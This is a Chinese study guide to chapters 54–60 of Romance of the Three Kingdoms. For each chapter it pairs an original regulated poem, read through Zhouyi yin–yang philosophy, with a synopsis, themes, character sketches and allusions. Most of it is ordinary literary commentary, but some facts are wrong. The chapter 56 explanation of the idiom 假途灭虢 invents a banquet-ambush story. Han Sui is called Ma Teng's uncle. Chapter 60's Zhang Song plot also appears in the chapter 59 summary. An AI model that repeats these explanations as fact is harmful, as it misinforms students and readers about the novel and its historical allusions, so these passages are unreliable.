    整首诗通过周易哲学的角度，深入解读了“吴国太佛寺看新郎，刘皇叔洞房续佳偶”这一情节的深刻内涵和传奇色彩。


    （三）《三国演义》第 54 回名为“吴国太佛寺看新郎，刘皇叔洞房续佳偶”。以下是其梗概、主题、情节、主要人物、经典诗句和典故：


    1. 梗概：


    刘备的夫人甘夫人去世，周瑜得知后心生一计，想以孙权之妹孙尚香为诱饵，诱使刘备到东吴，趁机将其扣押，以此要挟刘备交出荆州。


    诸葛亮识破了周瑜的计谋，决定将计就计，派赵云护送刘备前往东吴，并给了赵云三个锦囊，让他依计行事。


    刘备到达东吴后，依诸葛亮之计先去拜见了二乔之父乔国老，乔国老向吴国太贺喜说刘备要娶其女。吴国太此前并不知情，得知后大惊，向孙权询问此事。孙权告知这是周瑜的计策，但吴国太为了女儿的名誉，决定在甘露寺见刘备。


    刘备在甘露寺拜见吴国太，吴国太见刘备仪表堂堂，十分满意，便同意将女儿孙尚香嫁给刘备。数日之内，大排筵席，刘备与孙尚香结亲。


    洞房内，刘备见孙尚香的侍婢都配剑，房内也摆满军器，起初被唬得魂不附体，后得知孙尚香自幼喜好练武，才放下心来。


    2. 主题：


    这一回主要展现了三国时期的政治斗争与婚姻策略的交织。一方面体现了孙刘联盟内部的矛盾与博弈，孙权一方试图夺回荆州，而刘备一方则竭力维护自己的利益；另一方面也描写了刘备与孙尚香的婚姻，在政治背景下的特殊结合，突出了人物在复杂局势中的智慧与应对。


    3. 情节：


    周瑜定计：周瑜得知刘备丧妻，便向孙权献计，以孙尚香为饵，骗刘备来东吴成亲，然后将其囚禁，逼其归还荆州。


    吕范做媒：孙权派吕范前往荆州为媒，说刘备与孙尚香的亲事。刘备起初有所疑虑，但在诸葛亮的劝说下，决定前往东吴。


    乔国老贺喜：刘备到东吴后，先去拜见乔国老，告知娶亲之事。乔国老向吴国太贺喜，吴国太才知晓此事。


    甘露寺相亲：吴国太在甘露寺见刘备，对其十分满意，当场决定将女儿嫁给他。


    刘备成亲：刘备与孙尚香顺利成亲，进入洞房时，刘备被房中的景象吓了一跳，后得知孙尚香喜爱练武。


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    4. 主要人物：


    刘备：蜀汉的君主，在这一回中展现出了他的果敢和对诸葛亮的信任，敢于前往东吴娶亲，同时也凭借自身的气质获得了吴国太的认可。


    诸葛亮：足智多谋，识破了周瑜的计谋，并巧妙地安排刘备前往东吴，通过三个锦囊妙计帮助刘备化险为夷，成功娶得孙尚香，巩固了孙刘联盟。


    周瑜：东吴的大都督，一心想夺回荆州，想出美人计陷害刘备，但最终被诸葛亮识破，计谋未能得逞。


    孙权：东吴的君主，在周瑜的建议下，试图以妹妹为诱饵谋取荆州，但又不敢违抗母亲吴国太的意愿。


    吴国太：孙权的母亲，疼爱女儿，在甘露寺见刘备后，对其十分满意，促成了刘备与孙尚香的婚事。


    赵云：刘备的将领，忠勇可靠，按照诸葛亮的吩咐保护刘备前往东吴，在关键时刻依锦囊妙计行事，帮助刘备化解了危机。


    5. 经典诗句：本回中似乎没有特别经典且流传广泛的诗句。


    6. 典故：


    锦囊妙计：诸葛亮给赵云三个锦囊，让他在关键时刻依计行事，帮助刘备成功应对东吴的各种危机。后来“锦囊妙计”成为一个成语，用来形容能够及时解决紧急问题或疑难问题的好办法。


    二、《周易哲学视角下的“吴国太佛寺看新郎，刘皇叔洞房续佳偶”》


    《三国演义》第 54 回“吴国太佛寺看新郎，刘皇叔洞房续佳偶”，这一情节充满了戏剧性与权谋算计，同时也蕴含着深刻的哲学意味。通过周易哲学的视角来深度解析这一情节，可以揭示出其中更为丰富的内涵与智慧。


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 第55章 玄德智激孙夫人 孔明二气周公瑾

    一、七律诗《周易哲学视角下的“玄德智激孙夫人 孔明二气周公瑾”》：


    （一）《智激二气蕴哲思》


    周易玄妙蕴天机，孙刘周郎各展奇。


    玄德激将情作引，孔明妙计势如貔。


    阴阳变化谋篇里，刚柔相济战局移。


    二气周瑜含哲理，纷争世事有规仪。


    （二）诠释：


    诗的首联“周易玄妙蕴天机，孙刘周郎各展奇”，指出《周易》哲学的深奥玄妙之处，包含着天地运行的奥秘，而孙夫人、刘备和周瑜在故事中各自展现出独特的智谋和手段。


    颔联“玄德激将情作引，孔明妙计势如貔”，描述了刘备通过情感激发孙夫人，而诸葛亮则施展妙计，其气势如勇猛的貔虎。


    颈联“阴阳变化谋篇里，刚柔相济战局移”，强调了在谋略中蕴含着周易哲学中阴阳变化的道理，刚柔相互配合使战局发生转变。


    尾联“二气周瑜含哲理，纷争世事有规仪”，说明周瑜被“二气”的过程中蕴含着深刻的哲理，也表明在纷争的世事中有着一定的规律和法则。


    整首诗以周易哲学为视角，深入剖析了“玄德智激孙夫人，孔明二气周公瑾”这一情节所体现的智慧和哲理。


    （三）《三国演义》第55回名为“玄德智激孙夫人 孔明二气周公瑾”。以下是其具体内容：


    1. 梗概：


    孙权和周瑜的“美人计”弄假成真，刘备与孙夫人成亲。周瑜又生一计，欲以声色犬马使刘备乐而忘返，达到软禁刘备于吴中的目的。刘备果然被东吴的奢华生活所迷，全不想回荆州之事。


    赵云想起诸葛亮托付的三个锦囊妙计，拆开第二个，依计告知刘备曹操要报赤壁鏖兵之恨，起精兵五十万杀奔荆州，情况危急。刘备与孙夫人商议，决定以到江边祭祖为由，离开东吴。行至柴桑郡界口，周瑜派徐盛、丁奉堵截，孙权派陈武、潘璋赶来，均被孙夫人骂退。孙权又令蒋钦、周泰持吴侯剑追杀，然而为时已晚，诸葛亮早在江边接应，刘备顺利登船。周瑜自率水兵追杀不及，被对岸军士嘲笑，气金疮迸裂。


    2. 主题：


    本回主要展现了诸葛亮的智谋过人，他巧妙地利用各种因素，成功帮助刘备脱离东吴的掌控，再次挫败了周瑜的阴谋，凸显了智慧的力量。


    也体现了孙夫人的果敢和对刘备的深情，她不顾兄长的阻拦，毅然随夫同行，展现出女性的勇敢和坚定。同时，进一步加剧了孙刘之间的矛盾，为后续的故事发展埋下伏笔。


    3. 情节：


    刘备沉迷东吴享乐：刘备与孙夫人成亲后，居住在东吴。孙权按照周瑜的计策，修整东府，广栽花木，盛设器用，又增女乐数十余人，并金玉锦绮玩好之物。刘备果然被声色所迷，忘记了回荆州。


    赵云提醒刘备回荆州：赵云见刘备整日享乐，想起诸葛亮的锦囊妙计，拆开第二个，告知刘备荆州危急。刘备起初犹豫不决，后在赵云的催促下，决定与孙夫人商议回荆州之事。


    孙夫人与刘备逃离东吴：孙夫人同意与刘备一同回荆州，两人以江边祭祖为由，向国太辞行。离开南徐后，孙权得知消息，派陈武、潘璋、徐盛、丁奉等将领追赶，均被孙夫人喝退。


    诸葛亮接应刘备：诸葛亮早已在江边安排好船只接应刘备，周瑜率领水兵追杀，却被诸葛亮预先设下的伏兵击败，周瑜旧伤复发。


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    4. 主要人物：


    刘备：他在东吴起初沉迷于享乐，但在赵云提醒后，能及时醒悟，且善于利用孙夫人对自己的感情，成功逃离东吴。


    孙夫人：自幼好观武事，性格果敢。她钟情于刘备，不顾孙权的阻拦，坚定地与刘备一同返回荆州。


    赵云：忠诚且有勇有谋，时刻牢记诸葛亮的嘱托，在关键时刻提醒刘备回荆州，并保护刘备安全离开东吴。


    周瑜：足智多谋但心胸狭窄，他的“美人计”失败后，又想软禁刘备，却再次被诸葛亮识破，气得旧伤复发。


    诸葛亮：智慧超群，早已料到周瑜的计谋，提前安排好锦囊妙计，帮助刘备成功脱险，又一次气到周瑜。


    5. 经典诗句和典故：


    经典诗句：本回中可能没有特别着名的诗句被广泛流传。


    典故：“赔了夫人又折兵”。周瑜为了夺回荆州，设计将孙权的妹妹嫁给刘备，企图扣留刘备以夺回荆州。但刘备不仅成功带着夫人逃出东吴，周瑜带兵追赶时又被诸葛亮的伏兵打败。后来人们用“赔了夫人又折兵”来比喻想占便宜却反而遭受损失的情况。


    二、《周易哲学视角下的“玄德智激孙夫人 孔明二气周公瑾”》


    《三国演义》第 55 回“玄德智激孙夫人 孔明二气周公瑾”，是一段充满智谋与权谋的故事，其中蕴含着丰富的哲学思考。而以周易哲学的视角来解读这一回，更能揭示出其中的深层次意义。


    在周易哲学中，阴阳相互依存、相互转化，是宇宙万物的基本规律。在本回中，刘备与孙夫人、周瑜之间的关系，恰如阴阳之间的互动与变化。


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 第56章 曹操大宴铜雀台 孔明三气周公瑾

    一、七律诗《用周易哲学深度解析〈曹操大宴铜雀台 孔明三气周公瑾〉》：


    （一）《铜雀台与周公瑾》


    周易哲思蕴妙玄，曹营宴乐势凌天。


    权谋阳动铜台盛，智计阴行妙计连。


    诸葛三气周郎恨，命运无常世事迁。


    阴阳互转乾坤定，史海钩沉意万千。


    （二）诠释：


    诗的首联“周易哲思蕴妙玄，曹营宴乐势凌天”，点明了用周易哲学来解析这一故事的主题，同时描绘了曹操大宴铜雀台时的威势。


    颔联“权谋阳动铜台盛，智计阴行妙计连”，指出曹操的权谋展现出阳刚之态，铜雀台的盛大正是其权势的体现；而周瑜的智谋则体现为阴柔的计策接连不断。


    颈联“诸葛三气周郎恨，命运无常世事迁”，描述了孔明三气周公瑾，周瑜含恨而终，也体现了命运的无常和世事的变迁。


    尾联“阴阳互转乾坤定，史海钩沉意万千”，总结了周易哲学中阴阳相互转化的道理，同时也表达了在历史的长河中，这一段故事蕴含着丰富的意义和感慨。


    （三）《三国演义》第 56 回名为“曹操大宴铜雀台 孔明三气周公瑾”。以下是其相关信息：


    1. 梗概：


    曹操在邺郡建成铜雀台，召集文武百官宴饮庆贺，武官比试弓箭，文官诵朗佳句。此时，孙权派华歆前往许都，意图挑起曹刘两家争端，曹操将计就计，进一步加深了孙刘两家的恩怨。


    刘备、诸葛亮对前来索要荆州的鲁肃说须取得益州后才能归还荆州。周瑜一心想要夺回荆州，想出一条“假途灭虢”之计，即假意帮刘备攻打西川，实则想在路过荆州时趁机夺取，但此计被诸葛亮识破。诸葛亮安排四路大军等待周瑜部队到来，周瑜箭疮复裂，坠于马下。


    2. 主题：


    这一回主要展现了各方势力之间的智谋较量与纷争。曹操在铜雀台的宴饮展示了他的文治武功和称霸天下的野心；而孙刘联盟虽在赤壁之战后得以巩固，但荆州的归属问题始终是孙刘之间的矛盾焦点，周瑜与诸葛亮的斗智斗勇则凸显了这一点。同时，也反映出在三国鼎立的局势下，各方势力相互制衡、尔虞我诈的复杂关系。


    3. 情节：


    铜雀台宴饮：建安十五年春，曹操在铜雀台大宴群臣，众将比试箭术，曹操见众将骁勇，各赠蜀锦一匹。这一场景既体现了曹操的豪迈与对武将的重视，也展示了曹操集团的强大实力。


    孙刘荆州之争：鲁肃受周瑜嘱托向刘备讨要荆州，刘备、诸葛亮以取得益州后归还为由搪塞。周瑜设计谋取荆州，想出“假途灭虢”之计，却被诸葛亮识破。


    周瑜中计：诸葛亮安排关羽、张飞、赵云、黄忠四路大军等待周瑜，周瑜到达荆州后不见刘备，却遭四路大军围攻，惊喊一声，箭疮复裂，坠马下。


    4. 主要人物：


    曹操：作为曹魏势力的领导者，曹操在这一回中通过铜雀台宴饮展示了自己的权威和实力，他将计就计应对孙权的举动，也显示出其老谋深算的一面。


    诸葛亮：他是刘备的军师，智慧超群，轻易识破了周瑜的计谋，巧妙地安排应对之策，再次挫败了周瑜，巩固了刘备在荆州的地位。


    周瑜：东吴的大都督，一心想要夺


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    回荆州，却屡次被诸葛亮算计，气量狭小的他在这一回中又中了诸葛亮的计，箭疮复发，进一步加剧了他与诸葛亮之间的矛盾。


    鲁肃：东吴的谋士，受周瑜之托前往刘备处讨要荆州，但被诸葛亮和刘备的计谋哄回，他在孙刘之间起到了一定的沟通和协调作用，但在这场争斗中处于较为被动的地位。


    刘备：蜀汉的领导者，在诸葛亮的辅佐下，以仁德为本，广纳贤才，巩固自己在荆州的势力。面对鲁肃的讨要和周瑜的算计，他与诸葛亮相互配合，巧妙应对。


    5. 经典诗句和典故：


    诗句方面：此回中可能没有特别着名的诗句，但《三国演义》中与诸葛亮、周瑜等人物相关的一些诗句可作为延伸了解，比如杜甫的《八阵图》“功盖三分国，名成八阵图。江流石不转，遗恨失吞吴”，以及“出师未捷身先死，长使英雄泪满襟”等，这些诗句虽不是在这一回中出现，但能从侧面反映出诸葛亮的智慧和功业。


    典故方面：


    铜雀台：曹操建造铜雀台，不仅是为了彰显自己的文治武功，也是为了向天下展示自己的权威和地位。铜雀台成为了曹操势力的一个象征，后来也成为了文学创作中的一个重要意象。


    假途灭虢：周瑜的“假途灭虢”之计，源自春秋时期的一个典故。晋献公想要消灭虢国，但虢国国力较强且有周王室支持，于是晋献公用计，先向虢国国君表示友好，邀请他赴宴，在其经过晋国国境时设下埋伏将其杀死，从而成功消灭虢国。在《三国演义》中，周瑜想用此计谋取荆州，但被诸葛亮识破。


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 第57章 柴桑口卧龙吊丧，耒阳县凤雏理事

    一、七律诗《周易哲学视角下的柴桑与耒阳之变》：


    （一）《周易哲学视角下的柴桑与耒阳之变》


    柴桑吊丧智谋深，耒县理事见凤魂。


    阴阳相克道无尽，命运无常势有因。


    顺应时宜柔克刚，洞察本质破迷津。


    动静相谐局中变，守正居中悟易真。


    （二）诠释：


    诗的首联“柴桑吊丧智谋深，耒县理事见凤魂”，描述了诸葛亮在柴桑吊丧展现出的高深智谋，以及庞统在耒阳县理事时所展现出的才华与气魄。


    颔联“阴阳相克道无尽，命运无常势有因”，体现了周易哲学中阴阳相互克制的道理，以及命运变化无常但又有其内在原因的观点。


    颈联“顺应时宜柔克刚，洞察本质破迷津”，强调了要顺应时势，以柔克刚，同时要洞察事物的本质，才能突破迷惑。


    尾联“动静相谐局中变，守正居中悟易真”，指出在局势变化中要做到动静相宜，保持守正居中的态度，才能真正领悟周易哲学的真谛。


    整首诗以周易哲学为视角，深入剖析了柴桑与耒阳之变所蕴含的智慧和哲理。


    （三）《三国演义》第 57 回名为“柴桑口卧龙吊丧，耒阳县凤雏理事”。以下是其具体内容：


    1. 梗概：


    周瑜被诸葛亮三气后，箭疮复发，临终前仰天长叹“既生瑜，何生亮”，随后含恨而死。鲁肃将周瑜灵柩送回柴桑。诸葛亮得知周瑜死讯后，决定前往柴桑吊丧。东吴众人皆认为诸葛亮是来示威的，但诸葛亮在周瑜灵前悲痛大哭，情真意切地诵读祭文，赞颂周瑜的才智和功绩，使得东吴众人对他的态度有所缓和。


    诸葛亮吊丧后返回荆州途中，遇到了庞统。庞统因相貌丑陋，之前在孙权处未受重用。诸葛亮告知庞统可去投奔刘备，并写了推荐信。刘备起初因庞统容貌不佳，只让他到耒阳县做县令。庞统到任后整日饮酒，不理政事。张飞听闻后前往耒阳县视察，庞统仅用半天时间就处理完了积压百日的政务，张飞大惊，这才明白庞统是有大才之人，于是向刘备举荐。刘备最终重用了庞统。


    2. 主题：


    人才的重要性：此回中，庞统这样的大才起初不被重视，直到展现出才能后才被认可，强调了人才对于争霸天下的关键作用。无论是刘备对庞统的重新认识，还是孙权对庞统的错过，都凸显了领导者识别人才的重要性。


    局势的变化与联盟的维持：周瑜之死使东吴的局势发生变化，而诸葛亮吊丧既显示了他的智慧和胸怀，也在一定程度上缓和了蜀吴之间的紧张关系，为两国联盟的继续维持奠定了基础。这也反映出在三国鼎立的局势下，各方势力之间的关系是复杂且微妙的，需要不断地权衡和调整。


    3. 情节：


    诸葛亮吊丧：这是本回的重要情节之一。诸葛亮不顾东吴众人的敌意，亲自前往柴桑吊唁周瑜。他在灵前的一番哭诉和祭文，不仅展现了他的口才和智慧，也让东吴众人对他的看法有所改变。这一情节充分体现了诸葛亮的政治智慧和外交手段，他深知此时不能与东吴彻底交恶，通过吊丧来缓解两国之间的矛盾。


    庞统理政：庞统在耒阳县的表现是另一个重要情节。他故意不理政事，以此来试探刘备对他的态度。当张飞前来质问时，他迅速处理完积压的政务，让张飞对他刮目相看。这一情节既表现了庞统的恃才傲物，也展现了他的卓越才能。


    4. 主要人物：


    诸葛亮：足智多谋，深谋远虑。他气死周瑜后，仍能不顾危险前往东吴吊丧，展


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    现出了他的大智大勇和广阔胸怀。他对庞统的举荐也体现了他对人才的重视和爱惜。


    庞统：号凤雏，与诸葛亮齐名。有济世之才，但因相貌丑陋而不受重用。在耒阳县的表现展示了他的才能和个性，是一位极具潜力的谋士。


    鲁肃：东吴的重要谋士，为人忠厚老实。在周瑜死后，他成为东吴的重要将领，继续维护着东吴与蜀汉的联盟关系。他对诸葛亮的态度较为复杂，既对诸葛亮的才智有所钦佩，又对周瑜的死感到惋惜。


    刘备：蜀汉的君主，以仁德闻名。起初因庞统的外貌而轻视他，但在张飞的举荐下，认识到庞统的才能，最终重用了他。


    张飞：刘备的义弟，性格鲁莽，但也有识人之明。在耒阳县看到庞统的才能后，立刻向刘备举荐，为刘备招揽了一位重要的谋士。


    5. 经典诗句和典故：


    经典诗句：本回中诸葛亮的祭文是比较经典的文字，如“呜呼公瑾，不幸夭亡！修短故天，人岂不伤？我心实痛，酹酒一觞；君其有灵，享我烝尝！吊君幼学，以交伯符；仗义疏财，让舍以居。吊君弱冠，万里鹏抟；定建霸业，割据江南。吊君壮力，远镇巴丘；景升怀虑，讨逆无忧。吊君丰度，佳配小乔；汉臣之婿，不愧当朝，吊君气概，谏阻纳质；始不垂翅，终能奋翼。吊君鄱阳，蒋干来说；挥洒自如，雅量高志。吊君弘才，文武筹略；火攻破敌，挽强为弱。想君当年，雄姿英发；哭君早逝，俯地流血。忠义之心，英灵之气；命终三纪，名垂百世，哀君情切，愁肠千结；惟我肝胆，悲无断绝。


    昊天昏暗，三军怆然；主为哀泣；友为泪涟。”这篇祭文情真意切，既表达了诸葛亮对周瑜的惋惜之情，也展示了他的文学才华。


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 第58章 马孟起兴兵雪恨，曹阿瞒割须弃袍

    一、七律诗《以周易哲学解析“马孟起兴兵雪恨，曹阿瞒割须弃袍”》


    （一）《七律·周易析孟起与阿瞒》


    周易玄妙蕴哲思，孟起兴兵雪恨时。


    阴阳交战争雄霸，动静相推展异姿。


    割须弃袍局中变，命运无常理亦知。


    解析纷争窥天道，三国风云入史诗。


    （二）诠释：


    诗以《周易》的哲学为视角来解析“马孟起兴兵雪恨，曹阿瞒割须弃袍”这一历史事件。


    “周易玄妙蕴哲思”，强调《周易》的深奥与蕴含的哲理。“孟起兴兵雪恨时”，描述了马超起兵报仇的情景。“阴阳交战争雄霸”，指出战争中阴阳两种力量的抗衡与争斗。“动静相推展异姿”，表示在战争中动与静的相互转化展现出不同的态势。“割须弃袍局中变”，描绘了曹操割须弃袍这一戏剧性的变化，体现了局势的复杂性。“命运无常理亦知”，表达了对命运变幻莫测的认识。最后，“解析纷争窥天道，三国风云入史诗”，说明通过对这一事件的解析，能窥探到天道的运行规律，而三国的风云变幻也成为了不朽的史诗。整首诗将《周易》哲学与历史事件相结合，展现出深刻的思考和感悟。


    （三）《三国演义》第58回名为“马孟起兴兵雪恨，曹阿瞒割须弃袍”。


    1. 梗概：


    曹操杀了马腾，与马超结下不解之仇。马超在西凉州得知父亲与弟弟皆被曹操所害，又收到刘备书信，便与叔父韩遂一同起兵，率领二十万大军杀奔长安。


    长安郡守钟繇飞报曹操，同时引军拒敌，但最终长安被马超等人攻破。钟繇退守潼关，曹操命曹洪、徐晃先带一万人马替钟繇紧守潼关，并约定十日为限。至第九日，曹洪中了马超的诱敌之计，丢了潼关。


    曹操进兵直叩潼关，与马超对阵。马超英勇无比，曹军大败，曹操在乱军中被西凉军追杀。西凉军大喊“穿红袍的是曹操”，曹操便脱下红袍；又喊“长髯者是曹操”，曹操便割掉胡须。最后曹操在曹洪的掩护下逃脱，马超直追至山坡边。曹操渡河时，马超又率军奇袭，曹操损兵无数，深陷重围，幸得许褚奋力挡杀和县令丁斐放牛马引开西凉兵才得以脱身。


    2. 主题：


    这一回主要体现了“复仇”与“战争的残酷”的主题。马超为父报仇，兴兵攻曹，展现出强烈的复仇意志。战争中曹军的溃败以及曹操的狼狈，凸显出战争的惨烈和无情，同时也反映出三国时期各方势力之间的争斗与矛盾。


    3. 情节：


    马超起兵：马超得知父亲马腾被害后，在刘备书信的推动下，与韩遂一同起兵，点齐手下八部军马及庞德、马岱等将领，共起二十万大兵，杀奔长安而来。


    攻破长安：马超用计围困长安多日，在庞德的建议下，假装退军，诱使长安军民出城，然后趁机杀回，攻破了长安。


    潼关之战：曹洪镇守潼关，被西凉兵日夜骂战，到第九日中了诱敌之计，丢了潼关。曹操亲率大军与马超在潼关交战，曹军大败。


    割须弃袍：曹操在被西凉军追杀的过程中，为了躲避马超的追杀，先是脱下红袍，后又割掉胡须，最后在曹洪的掩护下才逃脱。


    河边脱险：曹操渡河时被马超奇袭，陷入重围，许褚奋力保护曹操，县令丁斐放牛马引开西凉兵，曹操才得以脱身。


    4.


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    主要人物：


    马超：蜀汉五虎将之一，英勇无敌，为报父仇，毅然起兵攻曹，在战场上势不可挡，杀得曹军丢盔卸甲，让曹操狼狈不堪。


    曹操：一代枭雄，虽有谋略，但在这一回中被马超打得大败，割须弃袍，尽显狼狈，但仍能保持冷静，想法逃脱。


    韩遂：马腾的叔父，与马超一起起兵反曹，在西凉有一定的势力。


    曹洪：曹操的将领，镇守潼关时因急躁中了马超的计，但后来又救了曹操一命。


    徐晃：曹操的将领，曾劝阻曹洪不要出战，比较理智。


    庞德：马超手下的大将，勇猛善战，为马超攻破长安和与曹军作战立下功劳。


    5. 经典诗句：“潼关战败望风逃，孟德怆惶脱锦袍。剑割髭髯应丧胆，马超声价盖天高。”这首诗生动地描绘了曹操在潼关战败后的狼狈模样以及马超的英勇威猛，通过对比突出了马超的声威和曹操的仓皇。


    6. 典故：这一回的主要典故就是“割须弃袍”。曹操在被马超追杀的过程中，为了躲避马超的追杀，割掉胡须、丢弃战袍，以掩饰自己的身份，这一行为成为了曹操在战争中狼狈逃窜的经典场景，也被后人用来形容人在危急时刻的狼狈相。


    二、《以周易哲学解析“马孟起兴兵雪恨，曹阿瞒割须弃袍”》


    在《三国演义》第 58 回“马孟起兴兵雪恨，曹阿瞒割须弃袍”中，一场惊心动魄的战争与人物命运的交织，展现出了丰富的情节与深刻的内涵。而运用周易哲学的视角来深度剖析这一章节，更能揭示出其中蕴含的玄妙与哲理。


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 第59章 许褚裸衣斗马超 曹操抹书间韩遂

    一、七律诗《周易哲学视角下的许褚与马超之战及曹操离间韩遂》：


    （一）《许褚马超之战与曹操离间》


    周易玄机妙入玄，许曹马战震坤乾。


    许褚裸衣雄风展，马超悍勇豪气连。


    阳刚相搏力无尽，阴柔暗动计万千。


    曹操离间施奇策，世事纷争化雾烟。


    （二）诠释：


    诗的首联“周易玄机妙入玄，许曹马战震坤乾”，点明了以周易哲学的视角来审视这场战斗和智谋较量，强调了其深奥与震撼。


    “许褚裸衣雄风展，马超悍勇豪气连”描述了许褚在战斗中展现出的无畏雄风，以及马超的勇猛豪气，两人的形象跃然纸上。


    “阳刚相搏力无尽，阴柔暗动计万千”进一步阐释了战斗中阳刚之力的激烈碰撞，以及曹操运用阴柔智谋的巧妙安排。


    “曹操离间施奇策，世事纷争化雾烟”则突出了曹操离间韩遂的计策之妙，同时也暗示了在世事的纷争中，智谋和策略能够化解矛盾，使其如雾烟般消散。


    整首诗以周易哲学为线索，生动地展现了许褚与马超之战及曹操离间韩遂的情节，体现了其中蕴含的智慧与力量。


    （三）《三国演义》第59回名为“许褚裸衣斗马超 曹操抹书间韩遂”。以下是其梗概、主题、情节、主要人物、经典诗句和典故：


    1. 梗概：


    马超为报父仇，与韩遂一同起兵进攻曹操。曹操在渭河内筑起浮桥三条，连接南岸，曹仁引军夹河立寨，以作屏障。马超与韩遂商议用计，令军士各挟草一束，带着火种，杀到寨前堆积草把放火烧营，曹操军队抵敌不住，弃寨而走，车乘、浮桥尽被烧毁。


    曹操想在渭河沙土上筑土城坚守，却因沙土不实，筑起便倒，又遭马超派庞德、马岱率领的马军往来冲突，无计可施。此时天气暴冷，有一隐居终南山的老者娄子伯来见曹操，告知他可趁北风起时，驱兵士运土泼水，一夜便可筑成土城。曹操依计行事，果然筑成土城。


    马超见曹操筑城，大惊。许褚下战书与马超决战，两人先是斗了一百余合不分胜负，回军中换马后又斗一百余合，依旧难分高下。许褚性起，卸了盔甲，赤体提刀与马超决战，两人又斗三十余合。曹操怕许褚有失，令夏侯渊、曹洪两将齐出夹攻，庞德、马岱也率领铁骑冲来，曹操军队大乱，许褚臂中两箭。


    曹操料马超可用计破，便密令徐晃、朱灵渡河西结营，前后夹攻。韩遂派杨秋与曹操讲和，曹操用贾诩的反间计，故意在阵前与韩遂单独交谈，只说旧事不提军情，引起马超怀疑。之后曹操又改抹给韩遂的书信，马超看到书信上的改抹字样，更加怀疑韩遂，韩遂百口莫辩。最终马超与韩遂反目，马超欲杀韩遂不成，被曹操大军围困，庞德、马岱救出马超，马超望陇西临洮而逃。韩遂则率众投降曹操，被封为西凉侯。与此同时，益州牧刘璋派使节张松前去结连曹操，但张松却反被曹操赶出许都，刘备派部将迎接经过荆州的张松，张松感激刘备之恩，临走之前将西川四十一州地理图本献给刘备，刘备率领庞统、黄忠、魏延等人，一同入川准备谋取西川。


    2. 主题：


    这一回主要体现了战争中的智谋与勇力的较量。曹操一方凭借智谋，先是用娄子伯之计筑城坚守，后又用贾诩的反间计成功离间马超和韩遂；而马超则以勇力着称，与许褚的恶战


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    展现出其勇猛无畏。同时，也反映出在乱世之中各方势力的争斗与谋略的运用，以及人物之间的信任与背叛等复杂关系。


    3. 情节：


    筑城之策：曹操军队在渭河边难以立营，沙土不实无法筑城，娄子伯献计趁北风起时运土泼水筑城，曹操依计成功筑城。


    许褚裸衣斗马超：许褚与马超展开激烈战斗，许褚卸甲裸衣，与马超大战数十回合，成为《三国演义》中的经典战斗场景。


    曹操抹书间韩遂：曹操用反间计，在阵前与韩遂单独交谈，又改抹给韩遂的书信，让马超怀疑韩遂，成功离间二人。


    张松献图：与本回主线情节同时进行的支线情节，张松本欲结连曹操，却不被曹操待见，转而将西川地理图本献给刘备，为刘备入川埋下伏笔。


    4. 主要人物：


    曹操：作为一方霸主，善于用计，在本回中先是采纳娄子伯的建议筑城，后又使用反间计离间马超和韩遂，展现出其老谋深算的一面。


    马超：为报父仇起兵攻曹，勇猛无比，与许褚的战斗中不落下风，但因曹操的反间计，与韩遂反目，最终兵败。


    许褚：曹操手下猛将，力大无穷，性格勇猛，与马超的战斗中赤膊上阵，尽显其悍勇。


    韩遂：与马超一同起兵攻曹，但被曹操的反间计所害，与马超反目，后投降曹操。


    娄子伯：隐居终南山的老者，向曹操献计筑城，助曹操解决了立营的难题。


    张松：益州牧刘璋的使节，本欲结连曹操，却被曹操赶出许都，后将西川四十一州地理图本献给刘备。


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 第60章 张永年反难杨修，庞士元议取西蜀

    一、七律诗《周易哲学视角下的西蜀风云——解析“张永年反难杨修，庞士元议取西蜀”》


    （一）《周易哲学视角下的西蜀风云》


    三国鼎立硝烟漫，西蜀风云周易参。


    张永年中言智辩，庞士元里策谋含。


    阴阳互动乾坤转，局势常更事理谙。


    仁德权谋相映衬，英雄史话墨香酣。


    （二）诠释：


    诗的开头“三国鼎立硝烟漫”，描绘了那个战乱纷争的时代背景。“西蜀风云周易参”则点明了以周易哲学的视角来审视西蜀的风云变幻。


    “张永年中言智辩”，说的是张松在与杨修的辩论中展现出的智慧；“庞士元里策谋含”，描述了庞统为谋取西蜀所提出的策略。


    “阴阳互动乾坤转”，体现了周易哲学中阴阳相互作用、推动事物发展的理念；“局势常更事理谙”，表达了对局势变化无常以及对其中道理的深刻理解。


    “仁德权谋相映衬”，指出了在这场争斗中，仁德与权谋相互交织；“英雄史话墨香酣”，强调了这段英雄故事在历史长河中的重要地位和其浓厚的文化韵味。整首诗通过周易哲学的视角，对“张永年反难杨修，庞士元议取西蜀”这一情节进行了深入的剖析和描绘。


    （三）《三国演义》第 60回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 60 回的回目为“张永年反难杨修，庞士元议取西蜀”。


    梗概：张松准备把西川地图秘密献给曹操，希望曹操能帮助刘璋抵御张鲁。曹操自攻破马超后骄傲自满，见张松相貌猥琐，不予礼遇。张松恃才傲物，言语上也对曹操有所冒犯，曹操便想赶走他。杨修觉得张松有才华，想举荐给曹操，但张松却用言语难住了杨修。曹操带张松到西教场看军容，张松依旧不卑不亢，还揭了曹操的短处，曹操大怒，喝令武士将张松乱棒打出。张松失望之余决定去荆州投靠刘备，刘备派部将赵云迎接张松，张松感激刘备之恩，将西川四十一州地理图本献给刘备，愿为内应，共取西川。张松与好友法正、孟达相约让刘备取川，刘备不忍取同宗基业，经庞统说服，命孔明、云长守荆州，自己与庞统领兵西行，与黄忠、魏延等人一同入川，刘璋不听部下黄权劝谏，引狼入室，迎玄德于涪城，庞统和法正借机密谋除掉刘璋。


    主题：


    本回揭示了曹操的自大和其麾下部分人的骄横，展现了刘备的仁义道德观以及在面对重大决策时的谨慎，也突出了庞统的远见卓识和果断。各方人物的态度和想法预示着局势将发生重大变化，为后续刘备集团谋取西蜀的行动奠定了基础，推动了故事的发展。


    从整部书的主题来看，《三国演义》以儒家政治道德观念为核心，鲜明地表现出“拥刘反曹”的思想倾向，这一回中曹操对张松的态度与刘备对张松的态度形成鲜明对比，也在一定程度上体现了这种倾向。


    情节：


    张松见曹操：刘璋派张松前往许都向曹操求救，张松在许都馆驿等了三天才见到曹操。曹操因张松说刘璋多年未进贡以及言语中对自己的不敬而不高兴。


    张松反难杨修：杨修与张松在书院中辩论，张松凭借自己的才华和口才难住了杨修，让杨修满面羞惭。


    曹操棒打张松：曹操带张松看西教场的军容，想以此震慑张松，张松


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    却不买账，还揭了曹操的短处，曹操大怒，要斩杀张松，在杨修和荀彧的劝谏下，改为乱棒将张松打出。


    张松转投刘备：张松离开许都后决定去荆州投靠刘备，刘备派赵云迎接，张松被刘备的礼贤下士所打动，将西川地图献给刘备。


